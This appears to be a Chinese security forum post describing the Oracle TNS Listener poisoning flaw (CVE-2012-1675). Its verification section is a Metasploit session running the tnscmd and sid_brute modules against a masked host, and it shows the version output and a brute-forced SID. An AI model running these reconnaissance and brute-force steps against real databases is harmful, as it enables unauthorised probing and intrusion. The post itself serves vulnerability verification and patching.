返回列表 发帖

[分享] Oracle TNS Listener Remote Poisoning

远程数据投毒漏洞(CVE-2012-1675)

1、漏洞简介:

允许攻击者在不提供用户名/密码的情况下,向远程“TNS Listener”组件处理的数据投毒的漏洞。

COST 是class of secure transports 的缩写。是为了控制实例注册提供的一种安全控制机制。其作用是对于一个确定的listener,限制哪些实例通过哪些协议可以进行注册。这将避免有其他远程实例进行恶意注册,并由此产生信息泄露等风险。
它通过在 listner.ora中设置参数SECURE_REGISTER_listener_name的值,指定为一个transport list(限定的注册协议列表,如IPC、TCP、TCPS)来实现这一功能。 该功能从 10.2.0.3 版本开始支持(虽然10g R2的在线文档中并未明确说明),一直到11.2.0.4版本及之后依然可用。但是,在11.2.0.4后,oracle建议使用默认的VNCR配置。

2、漏洞危害:

攻击者可以在不需要用户名密码的情况下利用网络中传送的数据消息(包括加密或者非加密的数据),如果结合(CVE-2012-3137漏洞进行密码破解)从而进一步影响甚至控制局域网内的任何一台数据库。

3、漏洞验证:

msf:
  1.     use auxiliary/admin/oracle/tnscmd
  2.     use auxiliary/admin/oracle/sid_brute
复制代码
tnscmd——该漏洞可以远程获取到oracle的内存信息,若是能获取到内存中的数据即为存在漏洞。
sid_brute——爆破oracle的SID
  1.     msf > use auxiliary/admin/oracle/tnscmd
  2.     msf auxiliary(tnscmd) > info

  3.            Name: Oracle TNS Listener Command Issuer
  4.          Module: auxiliary/admin/oracle/tnscmd
  5.         License: Metasploit Framework License (BSD)
  6.            Rank: Normal
  7.       Disclosed: 2009-02-01

  8.     Provided by:
  9.       MC <[email protected]>

  10.     Basic options:
  11.       Name   Current Setting                   Required  Description
  12.       ----   ---------------                   --------  -----------
  13.       CMD    (CONNECT_DATA=(COMMAND=VERSION))  no        Something like ping, version, status, etc..
  14.       RHOST                                    yes       The target address
  15.       RPORT  1521                              yes       The target port (TCP)

  16.     Description:
  17.       This module allows for the sending of arbitrary TNS commands in
  18.       order to gather information. Inspired from tnscmd.pl from
  19.       www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd

  20.     msf auxiliary(tnscmd) > set RHOST www.xxxx.cc
  21.     RHOST => www.xxxx.cc
  22.     msf auxiliary(tnscmd) > show options

  23.     Module options (auxiliary/admin/oracle/tnscmd):

  24.        Name   Current Setting                   Required  Description
  25.        ----   ---------------                   --------  -----------
  26.        CMD    (CONNECT_DATA=(COMMAND=VERSION))  no        Something like ping, version, status, etc..
  27.        RHOST  www.xxxx.cc                       yes       The target address
  28.        RPORT  1521                              yes       The target port (TCP)

  29.     msf auxiliary(tnscmd) > run

  30.     [*] www.xxxx.cc:1521 - Sending '(CONNECT_DATA=(COMMAND=VERSION))' to www.xxxx.cc:1521
  31.     [*] www.xxxx.cc:1521 - writing 90 bytes.
  32.     [*] www.xxxx.cc:1521 - reading
  33.     [*] www.xxxx.cc:1521 - .M.......6.........-. ..........(DESCRIPTION=(TMP=)(VSNNUM=169869568)(ERR=0)).\........TNSLSNR for Linux: Version 10.2.0.1.0 - Production..TNS for Linux: Version 10.2.0.1.0 - Production..Unix Domain Socket IPC NT Protocol Adaptor for Linux: Version 10.2.0.1.0 - Production..Oracle Bequeath NT Protocol Adapter for Linux: Version 10.2.0.1.0 - Production..TCP/IP NT Protocol Adapter for Linux: Version 10.2.0.1.0 - Production,,.........@
  34.     [*] Auxiliary module execution completed

  35.     msf auxiliary(tnscmd) > use auxiliary/admin/oracle/sid_brute
  36.     msf auxiliary(sid_brute) > show options

  37.     Module options (auxiliary/admin/oracle/sid_brute):

  38.     Name Current Setting Required Description
  39.     ---- --------------- -------- -----------
  40.     RHOST yes The target address
  41.     RPORT 1521 yes The target port (TCP)
  42.     SIDFILE /usr/share/metasploit-framework/data/wordlists/sid.txt no The file that contains a list of sids.
  43.     SLEEP 1 no Sleep() amount between each request.

  44.     msf auxiliary(sid_brute) > set RHOST www.xxxx.cc
  45.     RHOST => www.xxxx.cc
  46.     msf auxiliary(sid_brute) > show options

  47.     Module options (auxiliary/admin/oracle/sid_brute):

  48.     Name Current Setting Required Description
  49.     ---- --------------- -------- -----------
  50.     RHOST www.xxxx.cc yes The target address
  51.     RPORT 1521 yes The target port (TCP)
  52.     SIDFILE /usr/share/metasploit-framework/data/wordlists/sid.txt no The file that contains a list of sids.
  53.     SLEEP 1 no Sleep() amount between each request.

  54.     msf auxiliary(sid_brute) > run

  55.     [*] www.xxxx.cc:1521 - Starting brute force on www.xxxx.cc, using sids from /usr/share/metasploit-framework/data/wordlists/sid.txt...
  56.     [+] www.xxxx.cc:1521 - www.xxxx.cc:1521 Found SID 'ORCL'
  57.     [*] www.xxxx.cc:1521 - Done with brute force...
  58.     [*] Auxiliary module execution completed
  59.     msf auxiliary(sid_brute) >
复制代码
4、漏洞修复

更新升级最新的oracle。

参考:

https://www.cnblogs.com/chendeming/p/9087493.html

https://blog.csdn.net/archersaber39/article/details/78932530

http://www.freebuf.com/articles/database/54289.html

返回列表